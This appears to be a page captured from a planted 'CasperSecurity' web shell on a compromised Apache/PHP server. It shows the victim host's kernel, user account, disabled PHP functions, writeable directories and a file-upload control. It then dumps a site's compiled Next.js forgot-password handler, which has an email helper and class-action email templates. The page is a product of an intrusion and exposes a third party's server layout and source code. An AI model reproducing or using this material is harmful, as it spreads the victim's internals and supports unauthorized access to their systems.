T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/.next/server/pages/api/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/.next/server/pages/api/auth/forgot-password.js
"use strict";(()=>{var e={};e.id=7165,e.ids=[7165],e.modules={8667:(e,o)=>{Object.defineProperty(o,"A",{enumerable:!0,get:function(){return t}});var t=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},21572:e=>{e.exports=require("nodemailer")},33480:(e,o,t)=>{e.exports=t(75600)},50771:(e,o,t)=>{t.r(o),t.d(o,{config:()=>f,default:()=>d,routeModule:()=>h});var r={};t.r(r),t.d(r,{default:()=>p});var n=t(33480),s=t(8667),i=t(86435),a=t(76760),l=t(88182),c=t(55511),u=t.n(c);async function p(e,o){let t;if("POST"!==e.method)return o.status(405).json({message:"Method Not Allowed"});let{email:r}=e.body;if(!r||"string"!=typeof r)return o.status(400).json({message:"Invalid email"});try{t=await a.z.user.findUnique({where:{email:r}})}catch{}if(t){let e=u().randomBytes(32).toString("hex"),t=new Date(Date.now()+36e5);await a.z.user.update({where:{email:r},data:{resetPasswordToken:e,resetPasswordTokenExpiry:t}});try{await (0,l.J1)(r,e,"en")}catch(e){return console.error("Error sending password reset email:",e),o.status(500).json({message:"Failed to send password reset email. Please contact support."})}}return o.status(200).json({message:"If an account exists for that email, a password reset link has been sent."})}let d=(0,i.M)(r,"default"),f=(0,i.M)(r,"config"),h=new n.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/forgot-password",pathname:"/api/auth/forgot-password",bundlePath:"",filename:""},userland:r})},55511:e=>{e.exports=require("crypto")},75600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},76760:(e,o,t)=>{t.d(o,{z:()=>n});var r=t(96330);let n=globalThis.prisma??new r.PrismaClient({log:["error"]})},86435:(e,o)=>{Object.defineProperty(o,"M",{enumerable:!0,get:function(){return function e(o,t){return t in o?o[t]:"then"in o&&"function"==typeof o.then?o.then(o=>e(o,t)):"function"==typeof o&&"default"===t?o:void 0}}})},88182:(e,o,t)=>{t.d(o,{J1:()=>l,UI:()=>a,ZM:()=>i});var r=t(21572),n=t.n(r);let s=(()=>{if(!process.env.SMTP_HOST||!process.env.SMTP_USER||!process.env.SMTP_PASSWORD)return console.warn("[EMAIL] SMTP configuration missing, emails will be logged to console only"),null;try{return n().createTransport({host:process.env.SMTP_HOST,port:parseInt(process.env.SMTP_PORT||"587"),secure:"true"===process.env.SMTP_SECURE,auth:{user:process.env.SMTP_USER,pass:process.env.SMTP_PASSWORD},connectionTimeout:1e4,greetingTimeout:1e4,socketTimeout:1e4})}catch(e){return console.error("[EMAIL] Failed to create SMTP transporter:",e),null}})();async function i({to:e,subject:o,text:t,html:r}){try{if(!s)return console.log("[EMAIL] SMTP not configured, logging email to console:"),console.log(`[EMAIL] To: ${e}`),console.log(`[EMAIL] Subject: ${o}`),console.log(`[EMAIL] Text: ${t}`),console.log(`[EMAIL] HTML: ${r}`),{messageId:"console-logged"};let n=await s.sendMail({from:process.env.SMTP_FROM,to:e,subject:o,text:t,html:r});return console.log("Email sent:",n.messageId),n}catch(r){throw console.error("Error sending email:",r),console.log(`[EMAIL] Failed to send email to ${e}, subject: ${o}`),console.log(`[EMAIL] Email content would have been: ${t}`),r}}async function a(e,o,t=!1){let r=t?`Cher ${o},

Nous avons bien re\xe7u votre inscription \xe0 l'action collective. Nous vous contacterons bient\xf4t pour la suite du processus.

Cordialement,
L'\xe9quipe de l'action collective`:`Dear ${o},

We have received your registration for the class action. We will contact you soon to proceed with the next steps.

Best regards,
The Class Action Team`,n=t?`
      <div style="font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto;">
        <h2 style="color: #2563eb;">Confirmation de votre inscription</h2>
        <p>Cher ${o},</p>
        <p>Nous avons bien re\xe7u votre inscription \xe0 l'action collective. Nous vous contacterons bient\xf4t pour la suite du processus.</p>
        <p>Cordialement,<br>L'\xe9quipe de l'action collective</p>
      </div>
    `:`
      <div style="font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto;">
        <h2 style="color: #2563eb;">Registration Confirmation</h2>
        <p>Dear ${o},</p>
        <p>We have received your registration for the class action. We will contact you soon to proceed with the next steps.</p>
        <p>Best regards,<br>The Class Action Team</p>
      </div>
    `;return i({to:e,subject:t?"Confirmation de votre inscription \xe0 l'action collective":"Confirmation of your class action registration",text:r,html:n})}async function l(e,o,t="en"){let r=`https://action-collective.info/auth/reset-password?token=${o}`,n="fr"===t?`Pour r\xe9initialiser votre mot de passe, cliquez sur ce lien : ${r}
Ce lien expirera dans une heure.`:`To reset your password, click this link: ${r}
This link will expire in one hour.`,s="fr"===t?`<p>Pour r\xe9initialiser votre mot de passe, cliquez sur ce lien :</p><p><a href="${r}">${r}</a></p><p>Ce lien expirera dans une heure.</p>`:`<p>To reset your password, click this link:</p><p><a href="${r}">${r}</a></p><p>This link will expire in one hour.</p>`;return i({to:e,subject:"fr"===t?"R\xe9initialisation de votre mot de passe":"Reset your password",text:n,html:s})}},96330:e=>{e.exports=require("@prisma/client")}};var o=require("../../../webpack-api-runtime.js");o.C(e);var t=o(o.s=50771);module.exports=t})();

CasperSecurity Mini